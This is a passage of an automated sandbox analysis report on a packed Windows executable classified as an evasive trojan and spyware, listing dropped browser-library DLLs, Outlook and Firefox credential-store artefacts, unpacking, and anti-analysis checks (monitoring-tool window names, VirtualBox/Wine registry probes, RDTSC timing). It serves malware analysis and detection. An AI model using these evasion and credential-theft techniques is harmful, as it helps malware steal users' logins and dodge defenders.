Source: JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2215681993.000000002F4D1000.00000004.00000020.00020000.00000000.sdmp, JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2215681993.000000002F4D1000.00000004.00000020.00020000.00000000.sdmp, JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014	0_2_00EC4014
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBF113	0_2_00EBF113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBBAEB	0_2_00EBBAEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECAAFF	0_2_00ECAAFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D742F0	0_2_00D742F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB6A22	0_2_00EB6A22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FA2A00	0_2_00FA2A00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E183F0	0_2_00E183F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC0BF0	0_2_00EC0BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4BB52	0_2_00E4BB52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBACEC	0_2_00EBACEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB84C8	0_2_00EB84C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB3CB9	0_2_00EB3CB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC9C1C	0_2_00EC9C1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8A6B3	0_2_00E8A6B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E0CE70	0_2_00E0CE70

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00B14610 appears 316 times

Source: file.exe, 00000000.00000002.2282861148.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2282969019.000000006F912000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qnausojl ZLIB complexity 0.9948350694444444

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B290A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00B290A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\53U33UFP.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2126441549.000000001D27B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2112473034.000000001D288000.00000004.00000020.00020000.00000000.sdmp, CFCBKKKJJJKKEBGDAFID.0.dr, JKEBFBFIEHIDAAAAFHCF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282567722.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1800704 > 1048576

Source: file.exe

Static PE information: Raw size of qnausojl is bigger than: 0x100000 < 0x1a0400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2282937217.000000006F8FD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2282788032.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2282937217.000000006F8FD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b10000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qnausojl:EW;vzupzhya:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qnausojl:EW;vzupzhya:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B29270 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B29270

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c4572 should be: 0x1c2290

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qnausojl
Source: file.exe	Static PE information: section name: vzupzhya
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F798F7 push eax; mov dword ptr [esp], 79C3D471h	0_2_00F799B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED60F5 push ebp; mov dword ptr [esp], 1EFFF2C1h	0_2_00ED6114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F568BE push ecx; mov dword ptr [esp], ebx	0_2_00F56923
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F760AC push eax; mov dword ptr [esp], ebx	0_2_00F760F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F7687C push eax; mov dword ptr [esp], edx	0_2_00F76886
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F9A058 push eax; mov dword ptr [esp], edx	0_2_00F9A077
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EEB056 push ebp; mov dword ptr [esp], edi	0_2_00EEB0B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2E06B push cs; retf 0004h	0_2_00B2E06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F00818 push 57993DA5h; mov dword ptr [esp], edi	0_2_00F009F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F8C814 push ebx; mov dword ptr [esp], eax	0_2_00F8C850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 2353DCFBh; mov dword ptr [esp], esi	0_2_00EC4020
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 3698328Ch; mov dword ptr [esp], esp	0_2_00EC4028
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], 2BA67204h	0_2_00EC40BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push esi; mov dword ptr [esp], edi	0_2_00EC41EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push esi; mov dword ptr [esp], ebx	0_2_00EC4207
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 1D96AF3Eh; mov dword ptr [esp], edx	0_2_00EC4232
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 3C651B24h; mov dword ptr [esp], eax	0_2_00EC4259
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 2219F7E2h; mov dword ptr [esp], eax	0_2_00EC42F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], esi	0_2_00EC43D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 1BC1198Ch; mov dword ptr [esp], ebp	0_2_00EC4402
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push 1478658Ch; mov dword ptr [esp], eax	0_2_00EC4481
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push esi; mov dword ptr [esp], eax	0_2_00EC479F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push edi; mov dword ptr [esp], esi	0_2_00EC47A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], 77FD7D86h	0_2_00EC47A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], ebp	0_2_00EC47C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], ecx	0_2_00EC4848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], edi	0_2_00EC4970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push eax; mov dword ptr [esp], esi	0_2_00EC49B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push ebx; mov dword ptr [esp], 1E2A9A44h	0_2_00EC4AA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push esi; mov dword ptr [esp], ebp	0_2_00EC4AE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC4014 push edx; mov dword ptr [esp], ecx	0_2_00EC4B64

Source: file.exe

Static PE information: section name: qnausojl entropy: 7.954050987249931

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00B29270

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13143

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53C56 second address: D53C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D53C5A second address: D53C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F90CD2EB7C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6580 second address: EB6584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB6584 second address: EB658E instructions: 0x00000000 rdtsc 0x00000002 js 00007F90CD2EB7C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED13EF second address: ED13F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED13F3 second address: ED13FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F90CD2EB7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED13FF second address: ED141B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F90CCB8A182h 0x00000009 jnp 00007F90CCB8A176h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED141B second address: ED1431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F90CD2EB7CBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1431 second address: ED1435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1813 second address: ED1819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1819 second address: ED1829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F90CCB8A176h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1829 second address: ED184C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F90CD2EB7D3h 0x00000007 jns 00007F90CD2EB7C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED184C second address: ED1850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1850 second address: ED185A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED185A second address: ED185E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED185E second address: ED1876 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F90CD2EB7C6h 0x00000008 ja 00007F90CD2EB7C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1876 second address: ED187B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED19DC second address: ED19E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED19E0 second address: ED19F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F90CCB8A17Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1B67 second address: ED1B6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
